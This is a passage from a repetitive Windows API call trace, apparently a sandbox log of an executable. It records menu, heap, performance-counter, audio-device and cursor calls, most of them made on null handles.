uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] SetForegroundWindow (hWnd=0x0) returned 0 [0184.175] CreateSolidBrush (color=0xc8ffff) returned 0xffffffffb1100704 [0184.175] UnhookWindowsHookEx (hhk=0x0) returned 0 [0184.176] GetConsoleWindow () returned 0x0 [0184.176] SetWindowPos (hWnd=0x0, hWndInsertAfter=0x0, X=5, Y=2, cx=10, cy=20, uFlags=0x40) returned 0 [0184.176] SetRect (in: lprc=0x19fc90, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fc90) returned 1 [0184.176] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x66bff8 [0184.176] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x20) returned 0x66ec78 [0184.176] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6608b8 [0184.176] GetLastError () returned 0x578 [0184.176] SetLastError (dwErrCode=0x578) [0184.176] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6608d0 [0184.176] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6608b8 | out: hHeap=0x650000) returned 1 [0184.176] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6608d0 | out: hHeap=0x650000) returned 1 [0184.176] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66ec78 | out: hHeap=0x650000) returned 1 [0184.176] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66bff8 | out: hHeap=0x650000) returned 1 [0184.176] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1388000) returned 0x2319020 [0184.215] GetLastError () returned 0x578 [0184.215] GetSysColor (nIndex=22) returned 0xe3e3e3 [0184.215] CreatePen (iStyle=0, cWidth=1, color=0xe3e3e3) returned 0x50300540 [0184.215] GetDlgItem (hDlg=0x0, nIDDlgItem=144) returned 0x0 [0184.215] GetClientRect (in: hWnd=0x0, lpRect=0x19fc90 | out: lpRect=0x19fc90) returned 0 [0184.215] GetDC (hWnd=0x0) returned 0xffffffff9001065d [0184.215] PathCompactPathA (in: hDC=0x9001065d, pszPath="", dx=0x0 | out: pszPath="") returned 1 [0184.215] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0184.215] GetDlgItem (hDlg=0x0, nIDDlgItem=144) returned 0x0 [0184.215] GetClientRect (in: hWnd=0x0, lpRect=0x19fc90 | out: lpRect=0x19fc90) returned 0 [0184.215] GetDC (hWnd=0x0) returned 0xffffffff9a010516 [0184.215] PathCompactPathA (in: hDC=0x9a010516, pszPath="", dx=0x0 | out: pszPath="") returned 1 [0184.215] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0184.216] LocalFree (hMem=0x668510) returned 0x0 [0184.216] LocalFree (hMem=0x665be0) returned 0x0 [0184.216] CoCreateInstance (in: rclsid=0x498280*(Data1=0xbcde0395, Data2=0xe52f, Data3=0x467c, Data4=([0]=0x8e, [1]=0x3d, [2]=0xc4, [3]=0x57, [4]=0x92, [5]=0x91, [6]=0x69, [7]=0x2e)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x498270*(Data1=0xa95664d2, Data2=0x9614, Data3=0x4f35, Data4=([0]=0xa7, [1]=0x46, [2]=0xde, [3]=0x8d, [4]=0xb6, [5]=0x36, [6]=0x17, [7]=0xe6)), ppv=0x19fe48 | out: ppv=0x19fe48*=0x6752b0) returned 0x0 [0184.248] MMDeviceEnumerator:IMMDeviceEnumerator:GetDefaultAudioEndpoint (in: This=0x6752b0, dataFlow=0x0, role=0x0, ppEndpoint=0x19fe4c | out: ppEndpoint=0x19fe4c*=0x65b710) returned 0x0 [0184.250] IMMDevice:Activate (in: This=0x65b710, iid=0x498290, dwClsCtx=0x17, pActivationParams=0x0, ppInterface=0x19fdfc | out: ppInterface=0x19fdfc) returned 0x0 [0185.139] GetLastError () returned 0x5ad [0185.139] SetLastError (dwErrCode=0x5ad) [0185.139] GetLastError () returned 0x5ad [0185.139] SetLastError (dwErrCode=0x5ad) [0185.139] GetLastError () returned 0x5ad [0185.139] SetLastError (dwErrCode=0x5ad) [0185.139] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x86) returned 0x658840 [0185.140] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0185.140] GetEnvironmentStrings () returned 0x6d3a18* [0185.140] SetWindowWord (hWnd=0x0, nIndex=0, wNewWord=0x90) returned 0x0 [0185.140] SHIsLowMemoryMachine (dwType=0x0) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.140] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.141] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0185.142] SHGetInverseCMAP (in: pbMap=0x19f9db, cbMap=0x0 | out: pbMap=0x19f9db) returned 0x80070057 [0185.143] CreateAcceleratorTableA (paccel=0x19fa20, cAccel=4) returned 0x550129 [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.143] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.144] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.145] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.145] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.145] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.145] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0185.145] MoveWindow (hWnd=0x0, X=3452133, Y=0, nWidth=832, nHeight=17, bRepaint=0) returned 0 [0185.146] GetLastError () returned 0x578 [0185.146] SetLastError (dwErrCode=0x578) [0185.146] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x657b08 [0185.146] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x65a658 [0185.146] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d4090 [0185.146] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d40f0 [0185.146] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d4288 [0185.146] GetLastError () returned 0x578 [0185.146] SetLastError (dwErrCode=0x578) [0185.146] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.146] SymCleanup (hProcess=0x0) returned 0 [0185.147] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.147] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.147] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.147] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.147] GetLastError () returned 0x579 [0185.147] SetLastError (dwErrCode=0x579) [0185.147] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.147] SymCleanup (hProcess=0x0) returned 0 [0185.147] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.147] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.147] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.147] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.147] GetLastError () returned 0x579 [0185.147] SetLastError (dwErrCode=0x579) [0185.147] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.147] SymCleanup (hProcess=0x0) returned 0 [0185.147] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.147] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.147] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.147] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.148] GetLastError () returned 0x579 [0185.148] SetLastError (dwErrCode=0x579) [0185.148] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.148] SymCleanup (hProcess=0x0) returned 0 [0185.148] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.148] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.148] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.148] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.148] GetLastError () returned 0x579 [0185.148] SetLastError (dwErrCode=0x579) [0185.148] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.148] SymCleanup (hProcess=0x0) returned 0 [0185.148] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.148] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.148] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.148] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=861, param_4=593, param_5=0x0, param_6=0x0) returned 0 [0185.148] GetLastError () returned 0x579 [0185.148] SetLastError (dwErrCode=0x579) [0185.148] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.148] SymCleanup (hProcess=0x0) returned 0 [0185.148] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.148] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.148] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.148] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.148] GetLastError () returned 0x579 [0185.149] SetLastError (dwErrCode=0x579) [0185.149] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.149] SymCleanup (hProcess=0x0) returned 0 [0185.149] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.149] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.149] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.149] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.149] GetLastError () returned 0x579 [0185.149] SetLastError (dwErrCode=0x579) [0185.149] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.149] SymCleanup (hProcess=0x0) returned 0 [0185.149] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.149] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.149] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.149] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.149] GetLastError () returned 0x579 [0185.149] SetLastError (dwErrCode=0x579) [0185.149] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.149] SymCleanup (hProcess=0x0) returned 0 [0185.149] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.149] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.149] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.149] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.149] GetLastError () returned 0x579 [0185.149] SetLastError (dwErrCode=0x579) [0185.150] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.150] SymCleanup (hProcess=0x0) returned 0 [0185.150] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.150] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.150] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.150] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=167, param_4=600, param_5=0x0, param_6=0x0) returned 0 [0185.150] GetLastError () returned 0x579 [0185.150] SetLastError (dwErrCode=0x579) [0185.150] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.150] SymCleanup (hProcess=0x0) returned 0 [0185.150] MapDebugInformation 